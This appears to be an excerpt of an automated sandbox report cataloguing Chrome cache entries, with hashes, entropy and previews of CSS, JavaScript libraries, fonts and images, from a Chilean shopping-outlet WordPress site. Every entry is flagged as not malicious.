File Type:	ASCII text, with very long lines (59701)
Category:	downloaded
Size (bytes):	113381
Entropy (8bit):	4.921824878665509
Encrypted:	false
SSDEEP:	1536:MZeJKfZdlk2u5SOV+UQ37410kxJdPfrF3Ps:MZeJMTk2u5SOV+UQ37410kTd3Z3Ps
MD5:	51A8390B47AA0582CF2D9C96C5ADDEE2
SHA1:	B16A640874025D085C38119A1A02A3460F83F2DE
SHA-256:	98CECF88A23542FA047CE46EEDB650B5C5128761ED4386C0977B847094DDFA20
SHA-512:	711162AB43E59E0FF5F050CCA4278682194248A13EF2EE1F00AB276B6221E7A4DDDEB9645E8798E7F67A34F0001C8F63469F2B2C3E6D4E2519ADA30B6775E191
Malicious:	false
Reputation:	low
URL:	https://patiooutletmaipu.cl/wp-includes/css/dist/block-library/style.min.css?ver=6.5.5
Preview:	@charset "UTF-8";.wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block}.wp-block-avatar{line-height:0}.wp-block-avatar,.wp-block-avatar img{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center}.wp-block-audio{box-sizing:border-box}.wp-block-audio figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-audio audio{min-width:300px;width:100%}.wp-block-button__link{box-sizing:border-box;cursor:pointer;display:inline-block;text-align:center;word-break:break-word}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}:where(.wp-block-button__link){border-radius:9999px;box-shadow:none;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-bl

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 408 x 464, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18160
Entropy (8bit):	7.9507935414647015
Encrypted:	false
SSDEEP:	384:E6bVK9GIzUQWsZdSawiqS61S3z+Ai3Azy1tL62pW1l0Z86vjNPTN:E6pLIAw2aFqSWS3z+AMZ3k/6vhN
MD5:	CC6D2A2EBBDB4CA2D35C2A94F666E56C
SHA1:	7B9695FBE92878E751DB650F89A9E9A74279EE10
SHA-256:	DEDCB23076BE667A897F4A90BDE0BC80C6A6A58CFE68433BDE59546EB9B74EB5
SHA-512:	C9E27F2AAF2AEF1CA88C45EBA39DB2D1C16BAF6886EDDB39FB6723A97320E31697FB53AA8B885B1E445D2F361F91BE0A75B14399D990953D543735A400320E16
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png
Preview:	.PNG........IHDR..............0\|T..F.IDATx..[l\G..Gq[.j..-.......Q.b....:.=.K.6@#KP..U.!(B&!..i......j.B.$>g...%.(.u..H.T.....P5q..gw......H.b;.b.....f...d.....3C.....B..W.Y..o....c..>k..M$x..L....x"...@..>..N.\..}o>'...Z.=.bd.[c..g.w.9~......!....<E......!....QCd...#_..w.....r7.>...U..?....u...[G.....wG4....+....X...-.R>.,z:.X.X....c.B%60u).._...g.:......._.[...N...t-.)S.J.g<...:.3.Dv.........T..z.#..y_PL......~.nv.k...Z.#...G..^.D..k...jS..m....Ti.J........e _..j.,3j..."..4....#.!sSZ@....RS.K..1.~..d.t.Ra.........T7....L..RK4].....h....\...L./....Q...o.Y-...9.EF.].;!.NS.9.e3..!.2....U..T.'.....%c..IC2.....W.S...v?...MP.{[..7&...t.....p.........V.NF5..J....+5=n%..?T..$.....GK...&..-....3:'(.........}...-...zv2...m.T..V.R.d.Z.......a~.G.xz....M..KT...P....7......X..h<}.d..`.NU;>}\|^0k#"S1..^.i..3L.r.9\|Os.......S..>V.;.xy4..d...*.Z.\|f.pKL.....:.........=.~....;z..n...M.D1.OMC2.L..Sc..f..G.Y..L.&..h&.hX.}m..XW....P.zU..&.....d ..+.i.h.u&B......r....

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	20669
Entropy (8bit):	4.928501343475593
Encrypted:	false
SSDEEP:	192:DmL+WeP9B/OjNlqv4E1K7uJP6ncuseOO2E8nx5bylsDMu6DTyCDWJKN19rGAiJzn:DmSWLUJ6cDmfDT5qgzrVnzpp064
MD5:	1B9220B26278263AFA7BDC2F8C159090
SHA1:	F6CEBC900BFF42DC962FB884CB4DE8668FC3B4A8
SHA-256:	52B14906D431F4169AE615361F6391278F5D35B9E93E57D076717B0D398435B8
SHA-512:	9F43ADA60743F1871FA0B5DDC7859E069F9B85307F9C009D620F671C1E103802CA046CF1959A23517FF73FAB3B39BF2C2C698E9066C9A3B90A8B45B51C0322E4
Malicious:	false
Reputation:	low
URL:	https://patiooutletmaipu.cl/wp-content/plugins/oxygen/component-framework/oxygen.css?ver=4.7
Preview:	/! normalize.css v7.0.0 \| MIT License \| github.com/necolas/normalize.css /.button,.hr,.input {. overflow: visible;.}.audio,.canvas,.progress,.video {. display: inline-block;.}.progress,.sub,.sup {. vertical-align: baseline;.}.[type="checkbox"],.[type="radio"],.legend {. box-sizing: border-box;. padding: 0;.}.html {. line-height: 1.15;. -ms-text-size-adjust: 100%;. -webkit-text-size-adjust: 100%;.}.body,.h1,.h2,.h3,.h4,.h5,.h6 {. margin: 0;.}.article,.aside,.details,.figcaption,.figure,.footer,.header,.main,.menu,.nav,.section {. display: block;.}.figure {. margin: 1em 40px;.}.hr {. box-sizing: content-box;. height: 0;.}.code,.kbd,.pre,.samp {. font-family: monospace, monospace;. font-size: 1em;.}.a {. background-color: transparent;. -webkit-text-decoration-skip: objects;.}.abbr[title] {. border-bottom: none;. text-decoration: underline;. text-decoration: underline dotted;.}.b,.strong {. font-weight: bolder;.}.dfn {. font-style: italic;.}.mark {. background-colo

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14243), with no line terminators
Category:	dropped
Size (bytes):	14243
Entropy (8bit):	5.329756285669864
Encrypted:	false
SSDEEP:	384:3IkfNaayGbHbcggNFUWTgZeo1sa6XCZy54:4kfNaayGbHbfgNFUWgwAslXCZy54
MD5:	A01F9089E8301E9EACFB9D029DC0CA5C
SHA1:	165152546121AAAF96C19418908CFFE3630A2336
SHA-256:	4460F1596174D06CCA957FDACA2C71E1A377CF1D6F07EE4C75FFB3BF3FC97A03
SHA-512:	A90277DCDF97D7DECDC3EE3546FF80D537A779D7C70A44B6FDC0059DF4C131D92AF5336BA238B3F3E7C5DCD721C283616A1A54338203864479D47B120AEAE80B
Malicious:	false
Reputation:	low
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.AOS=t():e.AOS=t()}(this,function(){return function(e){function t(o){if(n[o])return n[o].exports;var i=n[o]={exports:{},id:o,loaded:!1};return e[o].call(i.exports,i,i.exports,t),i.loaded=!0,i.exports}var n={};return t.m=e,t.c=n,t.p="dist/",t(0)}([function(e,t,n){"use strict";function o(e){return e&&e.__esModule?e:{default:e}}var i=Object.assign\|\|function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},r=n(1),a=(o(r),n(6)),u=o(a),c=n(7),f=o(c),s=n(8),d=o(s),l=n(9),p=o(l),m=n(10),b=o(m),v=n(11),y=o(v),g=n(14),h=o(g),w=[],k=!1,x={offset:120,delay:0,easing:"ease",duration:400,disable:!1,once:!1,startEvent:"DOMContentLoaded",throttleDelay:99,debounceDelay:50,disableMutationObserver:!1},j=function(){var e=arguments.length>0&&void 0!==argum

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17021)
Category:	dropped
Size (bytes):	425679
Entropy (8bit):	5.642831417336303
Encrypted:	false
SSDEEP:	6144:c4jAij9yIJDtxaRWGpUskxzNM8x2wE3OPoKYUB4f72jAYqmfQ:ljJHJZ4RbINM8AeRQ7vmY
MD5:	76D4722AAAE8DCDD612A3A2AF8F695C7
SHA1:	A01F8D4B9A8C2441FD8950F16AE6AD860412CE70
SHA-256:	76FABD0977818AD5C54A4B4C477C35CA3A0AF5E85D8A7353A94A9F6A63A2330C
SHA-512:	92FE80E73356D94FA9A4AEB794C2AA3938064BC0277449EABB2EE21FA9D2BD81EB487C187391EBEEA68246957F046FD1F021BF390E3EADC3033C2D05AAF08F7D
Malicious:	false
Reputation:	low
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_1p_data_v2","priority":15,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECTOR","vtp_phoneValue":"","vtp_streetType":"CSS_SELECTOR","vtp_autoPhoneEnabled":false,"vtp_postalCodeType":"CSS_SELECTOR","vtp_emailValue":"","vtp_firstNameValue":"","vtp_streetValue":"","vtp_lastNameType":"CSS_SELECTOR","vtp_autoAddressEnabled":false,"vtp_regionValue":"","vtp_countryValue":"",

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	87553
Entropy (8bit):	5.262620498676155
Encrypted:	false
SSDEEP:	1536:0RUX9uDgwxcy2KVBNwchN6SLaHEk2BSrBESp+a/IEk4aAocVi8SMBQ47GKO:sHNwcv9VBQpLl88SMBQ47GKO
MD5:	826EB77E86B02AB7724FE3D0141FF87C
SHA1:	79CD3587D565AFE290076A8D36C31C305A573D18
SHA-256:	CB6F2D32C49D1C2B25E9FFC9AAAFA3F83075346C01BCD4AE6EB187392A4292CF
SHA-512:	FC79FDB76763025DC39FAC045A215FF155EF2F492A0E9640079D6F089FA6218AF2B3AB7C6EAF636827DEE9294E6939A95AB24554E870C976679C25567AD6374C
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.7.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(ie,e){"use strict";var oe=[],r=Object.getPrototypeOf,ae=oe.slice,g=oe.flat?function(e){return oe.flat.call(e)}:function(e){return oe.concat.apply([],e)},s=oe.push,se=oe.indexOf,n={},i=n.toString,ue=n.hasOwnProperty,o=ue.toString,a=o.call(Object),le={},v=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},y=function(e){return null!=e&&e===e.window},C=ie.document,u={type:!0,src:!0,nonce:!0,noModule:!0};function m(e,t,n){var r,i,o=(n=n\|\|C).createElement("script");if(o.text=e,t)for(r in u)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.remove

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	149829
Entropy (8bit):	5.600609063029094
Encrypted:	false
SSDEEP:	1536:Cnxj42ndhXdOU0tNo455wjdrm/bK+OTRMWMrvBDJTcitj+wf2EAeiPWMWNZVgdyo:Cnxj4y9OU03o4PwjhIBVT39ROyuvb
MD5:	DAF17286036BD518A93431BAE557255C
SHA1:	8391CECF7FF61062E9DBFD88CC825FEECEAE9D73
SHA-256:	2ADCF9FD70C1C834F4B13D732B66F4900CEC9A6BBDC587B85DBC68CDD9A34BE4
SHA-512:	0DB754DA88122CBCE3558CBF5A61062C3AEBAF03F8A8F7D23E96B384993C179668D8930FBE38553D3AC190AABA3063442F7A0469F3A18DB77DF8713F853BA97C
Malicious:	false
Reputation:	low
Preview:	!function(){"use strict";function t(){t=function(){return e};var e={},d=Object.prototype,n=d.hasOwnProperty,r="function"==typeof Symbol?Symbol:{},o=r.iterator\|\|"@@iterator",i=r.asyncIterator\|\|"@@asyncIterator",a=r.toStringTag\|\|"@@toStringTag";function $(t,e,d){return Object.defineProperty(t,e,{value:d,enumerable:!0,configurable:!0,writable:!0}),t[e]}try{$({},"")}catch(t){$=function(t,e,d){return t[e]=d}}function u(t,e,d,n){var r=e&&e.prototype instanceof s?e:s,o=Object.create(r.prototype),i=new w(n\|\|[]);return o._invoke=function(t,e,d){var n="suspendedStart";return function(r,o){if("executing"===n)throw new Error("Generator is already running");if("completed"===n){if("throw"===r)throw o;return E()}for(d.method=r,d.arg=o;;){var i=d.delegate;if(i){var a=_(i,d);if(a){if(a===c)continue;return a}}if("next"===d.method)d.sent=d._sent=d.arg;else if("throw"===d.method){if("suspendedStart"===n)throw n="completed",d.arg;d.dispatchException(d.arg)}else"return"===d.method&&d.abrupt("return",d.arg);

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 801 x 800, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	38154
Entropy (8bit):	7.008922077292065
Encrypted:	false
SSDEEP:	768:LcKyvatQhq5FBSjuTyr75aOIx4HWehAyQ1zDUjixIQU9:Whwa5ZapCWtyqUjzQ2
MD5:	B604F31A157C126E7A8D8B50BBBD65B4
SHA1:	2AAB9CC80F348118504E56C24B6EC4B37F48C263
SHA-256:	5DCA0F2BDD332A36FAD4AE0AEAE0965F8AFAFFE95BAF4340BD1E7C8D89895488
SHA-512:	7F9C03533D7E5A1AFF1A5E4A1AA70CDC19EABC73AB62FEBCEC03EE0DA1F3EF4DFF9F2D53C282BBDDCD79C58F6FB4D3F62E1FC4DE7DF34F92FBB1D3147B7B2C50
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...!... .....4.mV....pHYs...........~... .IDATx.b...?.(...`...a.....<!...`..)..8:....9....?.....0p......:m...Q0.F.M............Q0.F.`..V.N.r.B......#8.>.;%......4.C...Q0.F.(.h..................K.......I..5!./....\.>...9&...A1*.w%.........Q0.F.-@......\ w:..i...`K.. uV.04.{0.~.`...Q@E............Q0.F.%......u4.G.t.......^..SF.(.................Q0.F.1....j...a7..l_..x.d.s2.F.(..............1.. ....B...$.O...I..UB..^]4fN.......u]).$I.........Q0.F..t8`..F.k..:..H3'.F;&.`.................Q0.F.@l.w..p..A..;&.F7..Q0..=```.........Q0..'........1............`...a.............Q0....l........\.vL.@;&...G.(..C.000.........Q0..&@.t...;.F....).].5.F.(.j............Q0.....t..Q..<.vH6....Q0..=```.........Q0..'@.....t..Q@2..4K.a4.F.(....000.........Q0............1.F...F.N....`.................Q0...@f;..x.B.Q0...F.n..Q0...000.........Q0... wu...v..Q0..Fx.dt..(.................Q0.h. .`........`P..^....F.(..4.............Q0.......F.Y..

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 20136, version 1.0
Category:	downloaded
Size (bytes):	20136
Entropy (8bit):	7.989063524008811
Encrypted:	false
SSDEEP:	384:gj2GQkYP0cBVazCsuTV/jhXkG7dMz9igMzud0Eh/RKM8:11F7vjxTdMzMgMzudrh/QJ
MD5:	8D750EDC41957820B8D2031DE8C8CF23
SHA1:	79F319CA5DBEE26AFBF5C4837BFA52889113BEB9
SHA-256:	CCC14F0FE582BD54BE066C9709DA2DD716689CC27BF999C0493A06229D9223B6
SHA-512:	FD79D0670DE20AEE0DB0B706E33EEC3E91070E8B939C98801259098A4E49BF3D43851105611841BFF104B71B116F4BB992BB97623ABDA6EEC22207195E47ADBA
Malicious:	false
Reputation:	low
URL:	https://patiooutletmaipu.cl/wp-content/uploads/fonts/ITCAvantGardeStd-Bold.woff2
Preview:	wOF2......N........p..NF........................?FFTM..`..H..f.`..6.....(.....j..6.$..N. ..`..h..7.6.zx..y.....L......=./>2.l..1.o:....'.CL.h`l?.z.,..1..#.Tb.9.......H.K...._.y`..Cb.q0.X.#!8M./..=T.j2.C.T.....J.......?......Y..T..{..._H...L.Q.Y#.....?e...0S..v....IN^......}.tf.f.#U..VB"T...J!R.....6{\|.......... .iTac!.t.....@{...)....>w......}.....I.R.h@....inFi......s..p..{2.$.rB..b.l.f?{....0..7..@.cm.C..{...t..Z..C...?.'..WJ)4Q.7.......7h...D. .oF..5.^..k..'.i...^....%.....d..Am.F.Q{......x.e.,.@.Ni.....6..b.l9D,.?..#R2..p..n.....:Yv.b..(.\.p.3.7.?..i.iz...#.?.."..:.0.../W..R...Z. iX....p.A#61..`v...c..3L..v......R....q.03<.....K. ._.....\.Y. .`.^%...T....&F..0.9.r..(..'...-Ss.....wE..:.t....7..o.....d...)e ...-i...B..-...D....}sWXm...d%..W~.@P......Y?.s...........}.R<....$.. .........(.D..ll..0...\.....NI.%..N.~Q...?.T.........0...y@i.Q..B.DU...1H.9..^.....;.A.$(X..."0.,....( .=f....A.*..FQ...X.b&.@..Z....8.....W,.......w.......0>.<..

Chrome Cache Entry: 202

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	3.5724312513221195
Encrypted:	false
SSDEEP:	3:uZuUeB:u5eB
MD5:	53AF239EE5D3E261545DEDEDCB6FFD57
SHA1:	04CA7E137E1E9FEEAD96A7DF45BB67D5AB3DE190
SHA-256:	99EB12F2AB3C4866A353E098FFA3CB7A967E617C49B98480394EC5D8EA92B094
SHA-512:	C734E4A5FF5D335A91518DBF47861BDAF8012AF49371DCD2E3350E269C9A5A1CC094114D17C4F5B053F3757B4B07487EBD0D309C91EF97ACF4665CC5D5C9A2D3
Malicious:	false
Reputation:	low
Preview:	404 page not found

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	486
Entropy (8bit):	4.5029034238352965
Encrypted:	false
SSDEEP:	12:UvfCpddwSoUiOZDRR4n/4YmkY5yIpdQYJY5yXA+kyMTYlWwfbv:Q6PdbOOJRR4n/4YAyITQYJeyXH59Qwj
MD5:	6857ED16327F63B33982EA69D8F73350
SHA1:	4E8A30A197E48F963018BFF05E8BAB1E52AFD150
SHA-256:	8BBC0A7737643DD7C2344BA961592632153CB5353C92C5127339627E14B09143
SHA-512:	FAB071200A9057326780304C31C446C30F7E2CEDF5DE52D237114EDA2F5FD9812FB3DE0E5504879F2E5F9F28E8D2D1FDF96758C5423029AEAA57BF188DD5C925
Malicious:	false
Reputation:	low
Preview:	/.Remove numbers from comment author./..document.addEventListener('DOMContentLoaded', function (event) {. var commentForm = document.getElementById("commentform");. if (null === commentForm) {. return;. }. var author = commentForm.querySelector("#author");. if (null === author) {. return;. }. author.addEventListener(. 'blur',. function () {. this.value = this.value.replace(/\d+/g, '');. },. false. );.}).

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 408 x 464, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18160
Entropy (8bit):	7.9507935414647015
Encrypted:	false
SSDEEP:	384:E6bVK9GIzUQWsZdSawiqS61S3z+Ai3Azy1tL62pW1l0Z86vjNPTN:E6pLIAw2aFqSWS3z+AMZ3k/6vhN
MD5:	CC6D2A2EBBDB4CA2D35C2A94F666E56C
SHA1:	7B9695FBE92878E751DB650F89A9E9A74279EE10
SHA-256:	DEDCB23076BE667A897F4A90BDE0BC80C6A6A58CFE68433BDE59546EB9B74EB5
SHA-512:	C9E27F2AAF2AEF1CA88C45EBA39DB2D1C16BAF6886EDDB39FB6723A97320E31697FB53AA8B885B1E445D2F361F91BE0A75B14399D990953D543735A400320E16
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............0\|T..F.IDATx..[l\G..Gq[.j..-.......Q.b....:.=.K.6@#KP..U.!(B&!..i......j.B.$>g...%.(.u..H.T.....P5q..gw......H.b;.b.....f...d.....3C.....B..W.Y..o....c..>k..M$x..L....x"...@..>..N.\..}o>'...Z.=.bd.[c..g.w.9~......!....<E......!....QCd...#_..w.....r7.>...U..?....u...[G.....wG4....+....X...-.R>.,z:.X.X....c.B%60u).._...g.:......._.[...N...t-.)S.J.g<...:.3.Dv.........T..z.#..y_PL......~.nv.k...Z.#...G..^.D..k...jS..m....Ti.J........e _..j.,3j..."..4....#.!sSZ@....RS.K..1.~..d.t.Ra.........T7....L..RK4].....h....\...L./....Q...o.Y-...9.EF.].;!.NS.9.e3..!.2....U..T.'.....%c..IC2.....W.S...v?...MP.{[..7&...t.....p.........V.NF5..J....+5=n%..?T..$.....GK...&..-....3:'(.........}...-...zv2...m.T..V.R.d.Z.......a~.G.xz....M..KT...P....7......X..h<}.d..`.NU;>}\|^0k#"S1..^.i..3L.r.9\|Os.......S..>V.;.xy4..d...*.Z.\|f.pKL.....:.........=.~....;z..n...M.D1.OMC2.L..Sc..f..G.Y..L.&..h&.hX.}m..XW....P.zU..&.....d ..+.i.h.u&B......r....

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CU9yltxlHh/:m/
MD5:	DF3E567D6F16D040326C7A0EA29A4F41
SHA1:	EA7DF583983133B62712B5E73BFFBCD45CC53736
SHA-256:	548F2D6F4D0D820C6C5FFBEFFCBD7F0E73193E2932EEFE542ACCC84762DEEC87
SHA-512:	B2CA25A3311DC42942E046EB1A27038B71D689925B7D6B3EBB4D7CD2C7B9A0C7DE3D10175790AC060DC3F8ACF3C1708C336626BE06879097F4D0ECAA7F567041
Malicious:	false
Reputation:	low
URL:	https://mc.yandex.com/metrika/advert.gif
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17021)
Category:	downloaded
Size (bytes):	425006
Entropy (8bit):	5.643053585497903
Encrypted:	false
SSDEEP:	6144:R4+AiK9yIJDtxaR2GpUskxzNM8x2wE3OPoKYUB4d72jAYqmfi:q+JEJZ4R7INM8AeRi7vm6
MD5:	A4458CE24FB905065ECC4165514AE60B
SHA1:	093B8DE54160AB63E618EB8C3E0D693BCB4D7B84
SHA-256:	CEB205077EB6ED83998DCC0280A66A8C9F3FA18FDE59C8466A3B58F156A030CE
SHA-512:	5962C44B2879EB60A0D23324517D27497E036BD71EEE0C6D243387D293EC64ED13CB20B0FD365E16C172E705187EF15F86216EF305B1D73E98E20EEA31C629DC
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=G-ZHVTPD4NLB
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_1p_data_v2","priority":14,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECTOR","vtp_phoneValue":"","vtp_streetType":"CSS_SELECTOR","vtp_autoPhoneEnabled":false,"vtp_postalCodeType":"CSS_SELECTOR","vtp_emailValue":"","vtp_firstNameValue":"","vtp_streetValue":"","vtp_lastNameType":"CSS_SELECTOR","vtp_autoAddressEnabled":false,"vtp_regionValue":"","vtp_countryValue":"",

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12100)
Category:	downloaded
Size (bytes):	12135
Entropy (8bit):	4.976413329432971
Encrypted:	false
SSDEEP:	96:ShNwNhNqNENCNYNaNwNeNPNSNsNQNWNGNyN0NmNgNS:Y4LWkOAm4iV+MYaqe0KIS
MD5:	7606304F138DD61778326970A0BD3A82
SHA1:	085A19D07876DCC969DB96294680B04B8C1C001E
SHA-256:	ADE872720B262286CC22B52C62DB60E131F3ECF73EBD357BEB965CE9ED3BB384
SHA-512:	9B2E64E914492BD277DFE6F3176262C6694B3114F69CB70AB179C031A4D97F731038E83339D1B21D5088F21EF3E3266CE6E65940BCF954E77826B0FCEF921B7B
Malicious:	false
Reputation:	low
URL:	https://patiooutletmaipu.cl/wp-content/uploads/fonts/ma_customfonts.css?ver=aefe0098
Preview:	/* Version: Code Snippet, 3.3.1 */.@font-face{font-family:"ITCAvantGardeStd";font-weight:600;font-style:normal;src:url("//patiooutletmaipu.cl/wp-content/uploads/fonts/ITCAvantGardeStd-Demi.eot");src:url("//patiooutletmaipu.cl/wp-content/uploads/fonts/ITCAvantGardeStd-Demi.eot?#iefix") format("embedded-opentype"),url("//patiooutletmaipu.cl/wp-content/uploads/fonts/ITCAvantGardeStd-Demi.woff2") format("woff2"),url("//patiooutletmaipu.cl/wp-content/uploads/fonts/ITCAvantGardeStd-Demi.woff") format("woff"),url("//patiooutletmaipu.cl/wp-content/uploads/fonts/ITCAvantGardeStd-Demi.ttf") format("truetype");font-display: block;}@font-face{font-family:"ITCAvantGardeStd";font-weight:700;font-style:normal;src:url("//patiooutletmaipu.cl/wp-content/uploads/fonts/ITCAvantGardeStd-Bold.eot");src:url("//patiooutletmaipu.cl/wp-content/uploads/fonts/ITCAvantGardeStd-Bold.eot?#iefix") format("embedded-opentype"),url("//patiooutletmaipu.cl/wp-content/uploads/fonts/ITCAvantGardeStd-Bold.woff2") format("wof

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19628, version 1.0
Category:	downloaded
Size (bytes):	19628
Entropy (8bit):	7.990228482929113
Encrypted:	true
SSDEEP:	384:2EmdV4bJn5ioNl/ORn5HBgAa761IuASoHnfvYH281mMgB:SdSHi5gAa7oIDlWmMU
MD5:	5D47AAF8153D48DD50736317EB78BA23
SHA1:	09CA5B8B7DAA26CE1DD823E22DB5F7D57A2715DC
SHA-256:	CFCC42AE89CD48CE639C5C1826840EA0141BE7B0B664C8703D5F175388C8C2E5
SHA-512:	897E0F193BA3C565C46734C8EBB60F252C9EDD09CCBDCF514BF2CC35F2647D81CF63232958D2F0D4743C4B55998D2595724C4894E7E8511F2E8F143C68007B07
Malicious:	false
Reputation:	low
URL:	https://patiooutletmaipu.cl/wp-content/uploads/fonts/ITCAvantGardeStd-Demi.woff2
Preview:	wOF2......L...........LM........................?FFTM..`..:..f.`..6........r..j..6.$..N. .....h.b.'p....m..g/Y{..ql..8.x..D.N.....OK.c.....M.....D.P[.;..vY.Fu%....4.;$h)..G=c44<...j.]...K...&{-...u..t....@.....ID.C4E_b92....U.A...v..&.+..4...ya...&Kr.....&.z....=Z....".q.^.a./...hj...-=CL!....1.....~.\..l..N.).....%mC..PR..2...9./.sADt....;<....+WF4...6." "%.(a$62.S..3..JWo....^...S^..............j.......UJ..T.....ZA..v.\|...Q.5".... ...@..k...^.......;{3M$.U.Y...`...P ;.v....i..Y.....e./-.........6....Q..~.A..7..w_.4."Zf..-..........3...3Q.I....u...7..YN..d......g......2......U...........d.G"s...$!.j.?D...n.[...TQ......x.`m...+......".....-.m.3..!$..k.b....NZll....h..C9.$..b..c.A......^TZ%.3..B... UN.sgO.}...... ........q.d.K<.,l.......I....y.<Q.1.2..T.ri....R,..-M.MfY*.e...uAl..lB.. .A"..........n.JV#.).H .njc...9..q`...e.l.\|..N.d..v!....X.x&.....x8...R.o..........>..J..'.J. "A..umK.4........>. s.p....\|ur..$.r.a....y...2.T.HJ....n.. .0.

Chrome Cache Entry: 209

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2656
Entropy (8bit):	4.7657791760649175
Encrypted:	false
SSDEEP:	48:FYB483QSZRSsmPAbwjPZVeuGzj5JeQZ3yp0:kL3pD6AbwjPzeuw5J5Z3S0
MD5:	2E13A5A5A3120C5685FE3578FC03F697
SHA1:	B645DBFEEBE96C692A604257BBF2057758CD6085
SHA-256:	99E3B8900E8B2B25BB16783B837CC2109555EA8E40C3171E40DBB65DE14F003E
SHA-512:	1DDB48B4B3568A117DD76C19CE9B910F4E89B161C464FAF9F5680D0EEF607583B89239E4A5EAD980423E2D04C4F6A56D2E3670CF8059DC84D54637C3C51EDE26
Malicious:	false
Reputation:	low
URL:	https://patiooutletmaipu.cl/wp-content/uploads/2021/11/LOGO-MAIPU.svg
